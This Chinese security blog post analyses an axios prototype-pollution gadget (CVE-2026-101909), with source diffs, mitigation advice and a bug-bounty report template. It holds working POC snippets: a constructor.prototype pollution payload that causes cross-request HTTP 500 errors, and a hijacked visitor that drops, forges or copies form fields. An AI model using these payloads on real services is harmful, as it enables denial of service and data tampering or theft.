文章总结: 本文深度解析CVE-2026-101909,指出Axios并非原型污染入口而是消费污染值的Gadget。受影响版本为0.28.0至0.34.0及1.15.1至1.20.0,修复版本为0.34.0与1.20.0。实测仅maxDepth、visitor、Blob三个属性可利用,其中maxDepth门槛最低可致DoS。文章提供完整POC与双版本对照验证,强调需配合其他污染源才能利用。
综合评分: 88
文章分类: 漏洞分析,代码审计,WEB安全
CVE-2026-101909 深度解析:Axios 不是漏洞入口,而是原型污染的「放大器」
原创
钟智强
钟智强
哪吒网络安全
2026年9月29日 22:42
马来西亚
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
很多人看到这个 CVE 的第一反应是:「Burp 里改一下 Axios 的 maxDepth 就能打」。
这个理解是错的。本文用可运行的本地 POC + 真实源码 diff,把「污染源」和「Gadget」这两件事彻底拆开。
写在前面
CVE-2026-101909 在传播过程中被简化得太厉害了,出现了大量失真表述:
·错误说法:「Axios 存在 RCE」
·错误说法:「Burp 改个参数就能控制 Axios 序列化」
·错误说法:「6 个属性都能被污染」
这些说法里,只有最后一条「部分正确」。本文所有结论均来自本地实测(Node.js v20 + axios 1.19.0 / 1.20.0 双版本对照),不是纸上推演。
先校正版本信息:
| | |
| — | — |
| 项目 | 内容 |
| 漏洞名称 | Prototype Pollution Gadget in axios toFormData Options |
| 受影响区间 | >= 0.28.0 < 0.34.0 以及 >= 1.15.1 < 1.20.0 |
| 修复版本 | 0.34.0 与 1.20.0 |
| 漏洞类型 | Prototype Pollution **Gadget**(非独立入口) |
01 一句话结论
Axios 在这里不产生污染,它只「消费」污染。
攻击者
│
▼
另一处漏洞(unsafe merge / 递归赋值 / 危险 parser) ← 污染源,与 Axios 无关
│
▼
Object.prototype 被写入 maxDepth / visitor / Blob
│
▼
Axios toFormData() 执行时,options = {} 也会沿原型链读到这些值
│
▼
序列化行为被劫持 → 500 / DoS / 字段被静默丢弃或篡改
关键在于:如果目标不存在 prototype-pollution 的入口,光是有个 [email protected],什么都打不成。
02 原型链:理解一切的前提
先把 Axios 放一边。
const options = {};
Object.prototype.maxDepth = 0;
Object.hasOwn(options, “maxDepth”); // false ← 自身确实没有
options.maxDepth; // 0 ← 但就是读到了
这两行结果同时成立,就是原型链查找:
options 自身是空对象,JS 在它身上找不到 maxDepth,就自动沿原型链向上找到 Object.prototype.maxDepth。
这就是 CVE 的全部基础——也是为什么 axios.toFormData(data, form, {}) 传一个空对象进去,照样会被劫持。
03 根因:两个版本,同一处逻辑,两种写法
我把 axios 1.19.0 和 1.20.0 都装上,直接 diff 了 lib/helpers/toFormData.js。修复手法极其干净:
1.19.0(受影响)
options = utils.toFlatObject(
options,
{
metaTokens: true,
dots: false,
indexes: false, // ← 注意:默认值对象里只有这三个键
},
false,
function defined(option, source) {
return !utils.isUndefined(source[option]);
}
);
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== ‘undefined’ && Blob);
const maxDepth = options.maxDepth === undefined
? DEFAULT_FORM_DATA_MAX_DEPTH
: options.maxDepth;
1.20.0(已修复)
const option = (name, fallback) => {
const value = utils.getSafeProp(options, name);
return utils.isUndefined(value) ? fallback : value;
};
const metaTokens = option(‘metaTokens’, true);
const visitor = option(‘visitor’) || defaultVisitor;
const dots = option(‘dots’, false);
const indexes = option(‘indexes’, false);
const _Blob = option(‘Blob’) || (typeof Blob !== ‘undefined’ && Blob);
const maxDepth = option(‘maxDepth’, DEFAULT_FORM_DATA_MAX_DEPTH);
而 getSafeProp 的实现是:
const getSafeProp = (obj, prop) =>
obj != null && hasOwnInPrototypeChain(obj, prop) ? obj[prop] : undefined;
hasOwnInPrototypeChain 会沿原型链逐个检查 hasOwnProperty,但一旦越过 Object.prototype 这个边界就停止。于是「只从 Object.prototype 继承来的属性」一律被视为 undefined,污染值再也无法被读到。
这里有个绝大多数文章都没讲透的点
toFlatObject 的第一个参数是用户传入的 options,第二个参数是默认值对象。合并后返回的 options 里,metaTokens / dots / indexes一定存在(被默认值兜底了),而 maxDepth / visitor / Blob不一定存在。
后果是:
·options.dots → 命中默认值 false,继承值被遮蔽,污染无效
·options.maxDepth → 自身没有、默认值也没有 → 只能沿原型链找 → 污染命中
这不是玄学,是默认值对象里有没有那个键决定的。
04 实测:6 个属性里,只有 3 个真能被打到
我对公开描述中提到的 6 个属性逐个做了对照实验(代码见文末 POC 的 EXP-3),结果如下:
| | | | | |
| — | — | — | — | — |
| option | 默认值兜底 | 可继承污染 | 实测效果 | 利用门槛 |
| maxDepth | 无 | 是 | 抛 AxiosError,请求 500 / DoS | **低(标量即可)** |
| visitor | 无 | 是 | 字段被静默丢弃或篡改 | 高(需函数注入) |
| Blob | 无 | 是 | Blob 构造器被替换 | 高(需函数注入) |
| dots | false | 否 | 无任何变化 | 不适用 |
| indexes | false | 否 | 无任何变化 | 不适用 |
| metaTokens | true | 否 | 无任何变化 | 不适用 |
所以「6 个属性都能被污染」是常见误解。 真正可利用的是 3 个,而其中只有 maxDepth 是低门槛——因为它只需要一个标量值,而 visitor 和 Blob 需要攻击者具备函数注入能力(JSON 本身无法传递函数,你得先有更强的 primitive)。
05 本地 POC:一步步跑通
环境
mkdir axios-cve-lab && cd axios-cve-lab
npm init -y
npm install [email protected] # 落在 >=1.15.1 <1.20.0 受影响区间
建议同时准备修复版做对照:
npm install [email protected] –prefix ./node_modules_fixed
EXP-1 最小验证:没有的属性,就是能读到
Object.prototype.maxDepth = 0;
const options = {};
console.log(Object.hasOwn(options, “maxDepth”)); // false ← 自身没有
console.log(options.maxDepth); // 0 ← 却读到了
EXP-2 Gadget 触发:传空对象照样炸
const axios = require(“axios”);
const data = { username: “alice”, profile: { role: “user” } };
const fd = new FormData();
axios.toFormData(data, fd, {}); // ← 第三个参数是空对象
实测输出:
before : OK [[“username”,”alice”],[“profile[role]”,”user”]]
after : THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0
注意这里的关键细节:第三个参数 {} 里什么都没写,攻击者的输入完全是 Object.prototype 上的。这就是 gadget 的定义。
maxDepth = 0 意味着「不允许任何一层嵌套」,throwIfMaxDepthExceeded 被触发,直接抛 AxiosError。在真实业务里,这个异常会顺着上传/表单提交链路往上冒,表现为 HTTP 500——这就是它的现实影响:拒绝服务 / 功能中断。
EXP-3 全属性矩阵
见文末 poc.js 的 EXP-3,逐个污染、逐个比对序列化结果,输出上表。
EXP-4 visitor:最阴的一种,不抛异常
visitor 是遍历每个字段时的回调函数。1.19.0 的调用逻辑是:
const result = !(utils.isUndefined(el) || el === null) &&
visitor.call(formData, el, key, path, exposedHelpers);
if (result === true) {
build(el, path ? path.concat(key) : [key], depth + 1);
}
默认 visitor 负责 formData.append(…)。一旦 visitor 被攻击者顶替,append 就不会再发生。实测三种效果:
// B1 静默丢弃全部字段 —— 请求体被清空,服务端收到合法空表单
OK []
// B2 篡改并注入字段 —— 攻击者凭空写入任意 key/value
OK [[“username”,”pwned”],[“injected_by_attacker”,”pwned”]]
// B3 代理默认 visitor —— 完整遍历并窃取全量字段(this 就是 FormData)
OK [[“username”,”alice”],[“profile[role]”,”user”],[“profile[vip]”,”false”]]
窃取到的字段: [[“username”,”alice”],[“profile.role”,”user”],[“profile.vip”,false]]
B1 和 B2 都不抛异常、不改状态码,日志里什么异常都没有,只是数据悄悄变了——这类问题在真实系统里极难被察觉。
不过要冷静:visitor 是个函数,JSON 里没法直接传函数。要走通这条路径,攻击者需要更强的 primitive(比如能控制对象属性的 merge 允许函数值、或存在其他代码注入)。所以它属于「高门槛」,别在报告里把它和 maxDepth 混为一谈。
EXP-5 Blob 构造器劫持
let hits = 0;
Object.prototype.Blob = function (parts) { hits++; return { tag: “HIJACKED” }; };
// before : OK [[“buf”,{}]]
// after : OK [[“buf”,”[object Object]”]]
// 攻击者构造器被调用次数 = 1
注意:只有数据里存在 ArrayBuffer / TypedArray 时才会走到 new _Blob([value]) 分支。我第一次用 new Blob() 测的时候「看起来没效果」,是数据选错了——这也是容易误判的地方。
EXP-6 双版本对照
axios 1.19.0(受影响) 污染后: THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0
axios 1.20.0(已修复) 污染后: OK [[“username”,”alice”],[“profile[role]”,”user”]]
同样的污染、同样的代码,1.20.0 完全免疫。
06 端到端复现:两个请求,中间不传任何参数
本地 POC 只证明了「Axios 会吃污染值」。真实场景要证明的是:一次恶意请求,能影响后续所有请求。
我用 Node 内置 http 起了一个服务(完整代码见 e2e.js):
·POST /api/preferences —— 一个存在原型污染的配置保存接口(脆弱的递归 merge,与 Axios 无关)
·POST /api/upload —— 一个完全正常的上传接口,内部调用 axios.toFormData()
实测输出:
STEP 0 基线:正常上传
-> {“status”:200,”fields”:[[“username”,”alice”],[“profile[role]”,”user”]]}
STEP 1a 攻击者提交 {“__proto__”:{“maxDepth”:0}}
[server] Object.prototype.maxDepth = undefined (未污染成功)
-> 随后正常上传: {“status”:200,…}
STEP 1b 改用 {“constructor”:{“prototype”:{“maxDepth”:0}}}
[server] Object.prototype.maxDepth = 0 (污染成功)
STEP 2 受害者发起完全正常的业务请求(请求体里没有任何攻击参数)
-> HTTP 500 {“error”:”Object is too deeply nested (1 levels). Max depth: 0″}
附赠一个高频坑点
{"\_\_proto\_\_": {...}} 在多数 merge 实现下根本不生效。
原因:merge 里读 source[“__proto__”] 时,拿到的是对象的真实原型(Object.prototype),而不是 JSON 里那个键的值,递归合并自然什么也没写成。
真正稳的路径是:
{ “constructor”: { “prototype”: { “maxDepth”: 0 } } }
target.constructor 指向 Object 函数,.prototype 就是 Object.prototype,赋值直接落地。
大量 POC 死在这一步,然后被误判为「漏洞不存在」。 你在 Burp 里试的时候,如果 __proto__ 没反应,别急着下结论,换 constructor.prototype 再试一次。
07 影响评估:这不是 RCE
必须说清楚,否则报告会被打回:
| | | |
| — | — | — |
| 断言 | 是否成立 | 说明 |
| [email protected] 是脆弱依赖 | 成立 | 版本落在受影响区间 |
| 目标因此可被 RCE | 不成立 | 需要同进程内存在 PP primitive,且 RCE 还需额外条件 |
| 可被 DoS / 功能中断 | 成立 | maxDepth 触发异常,实测 HTTP 500 |
| 数据可被静默篡改 | 条件成立 | 需 visitor 函数注入能力 |
正确的表述应该是:
目标使用受影响版本的 axios,且应用中存在独立的 prototype-pollution 入口;两者组合后,攻击者可通过跨请求污染 Object.prototype,使 axios.toFormData() 读取被污染的 option,导致序列化异常(500)或字段被静默丢弃/篡改。
把「依赖脆弱」和「目标可利用」分开写,报告的通过率会高很多。
08 自查手册
1. 确认实际安装版本
npm ls axios
不要只看 package.json。package.json → package-lock.json → 实际安装版本,这三者可能不一致,以 npm ls 为准。
2. Axios 是间接依赖时
npm why axios
输出会告诉你到底是谁把它带进来的:
my-app
└─┬ some-package
如果你的 package.json 里根本没有 axios,但 npm ls 能查到,说明它在依赖树的深处——这种情况最容易漏。
3. 找 sink(代码里到底有没有用到)
grep -R “toFormData” .
grep -R “formSerializer” .
grep -R “FormData” .
没有 sink 就没有 gadget。 即使版本受影响,如果代码里从不调用 toFormData(),这条链就是断的——这一点在写报告前一定要确认。
09 Bug Bounty 实战:怎么找、怎么写
要找的是「两个东西的交叉」
Target
│
├── A. Prototype Pollution Primitive ── JSON parser / 递归 merge / 配置合并 / query parser
│
└── B. Axios Gadget ────────────────── toFormData() 调用点
│
└── 两者都存在,才构成完整链条
单独报「axios 1.19.0」几乎没有价值。厂商大概率回复「已知依赖风险,非可利用漏洞」。
报告模板(可直接套用)
标题:Prototype pollution in /api/preferences leads to DoS via axios
toFormData() gadget (axios 1.19.0, CVE-2026-101909)
影响版本:axios 1.19.0(>=1.15.1 <1.20.0 区间)
前置条件:/api/preferences 存在递归 merge,可污染 Object.prototype
复现步骤:
1. POST /api/preferences {“constructor”:{“prototype”:{“maxDepth”:0}}}
2. POST /api/upload (请求体为空,无任何攻击参数)
3. 观察:HTTP 500,服务端异常 Object is too deeply nested
影响:跨请求拒绝服务;上传/表单提交功能全局不可用
修复建议:升级 axios 至 1.20.0,并修复 /api/preferences 的 merge 逻辑
常见被打回的原因
1.只报版本,不报 primitive —— 缺少可复现的污染入口
2.声称 RCE —— 超出实际影响,可信度直接归零
3.POC 用了 \_\_proto\_\_ —— 自己复现失败,还以为漏洞不存在
4.没证明跨请求 —— 必须展示「两个独立请求」的完整链条
10 修复与缓解
首选:升级
npm install [email protected] # 1.x 线
npm install [email protected] # 0.x 线
npm ls axios # 确认生效
暂时升不了级时
治本还是要堵住污染源,gadget 只是放大器:
·给递归 merge 加 __proto__ / constructor / prototype 黑名单
·用 Object.create(null) 承载不可信的合并结果
·对不可信输入用 JSON.parse(s, reviver) 过滤危险键
·合并前校验 Object.hasOwn(target, key)
·Node 可考虑以 –frozen-intrinsics 启动(需评估兼容性)
11 FAQ:几个高频误解
Q:Burp 里直接改成 isAdmin=true 是不是这个 CVE?
不是。那是通用 prototype pollution 造成的权限绕过,走的是应用自己的权限判断逻辑。CVE-2026-101909 特指污染值被 Axios 的 toFormData() 消费这一条路径。两者是「污染源」和「 Gadget」的关系。
Q:Object.prototype.isAdmin = false 然后污染成 true 能绕过权限吗?
能,但那是应用逻辑的问题,跟 Axios 无关。别把它写进这个 CVE 的报告里。
Q:我只看到 axios 版本受影响,能报吗?
能报「脆弱依赖」,但别声称可利用。真正有价值的是找到 primitive + gadget 的完整链条。
Q:visitor 被污染是不是就能执行任意代码?
需要函数注入能力,门槛远高于 maxDepth。JSON 无法传递函数,你得先证明目标存在允许写入函数值的 primitive。
12 一图流总结
ATTACKER
│
▼
Prototype Pollution(另一处漏洞,非 Axios)
│
▼
┌─────────────────────────┐
│ Object.prototype │
│ maxDepth / visitor / Blob ← 只有这 3 个无默认值兜底
└───────────┬─────────────┘
│ prototype lookup
▼
┌─────────────────────────┐
│ Axios toFormData() │
│ 读取 inherited option │
└───────────┬─────────────┘
▼
500 / DoS / 字段被静默丢弃
记住这句话就够了: 这个 CVE 的核心不是「Burp 直接改了 Axios 的参数」,而是「Burp 触发另一处污染 → 污染 Object.prototype → Axios 在正常运行时经原型链读到了这个值」。
附:POC 文件说明
| | |
| — | — |
| 文件 | 用途 |
| poc.js | 6 组本地实验:继承验证 / maxDepth / 全属性矩阵 / visitor 三效果 / Blob / 双版本对照 |
| e2e.js | 端到端两阶段 HTTP 复现,含 \_\_proto\_\_ 与 constructor.prototype 对比 |
npm install [email protected]
node poc.js
node e2e.js
本文所有输出均为本地实测结果(Node.js v20.19.5,axios 1.19.0 与 1.20.0 双版本对照)。版本区间与官方定名以 Axios 官方安全公告为准。
*如果你也在挖这条链,欢迎把你的实测结果贴在评论区——尤其是哪些 merge 实现对 __proto__ 有效、哪些必须走 constructor.prototype,这块值得单独攒一份清单。*
加入我们团队。以下是群聊二维码:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:哪吒网络安全 钟智强
钟智强《CVE-2026-101909 深度解析:Axios 不是漏洞入口,而是原型污染的「放大器」》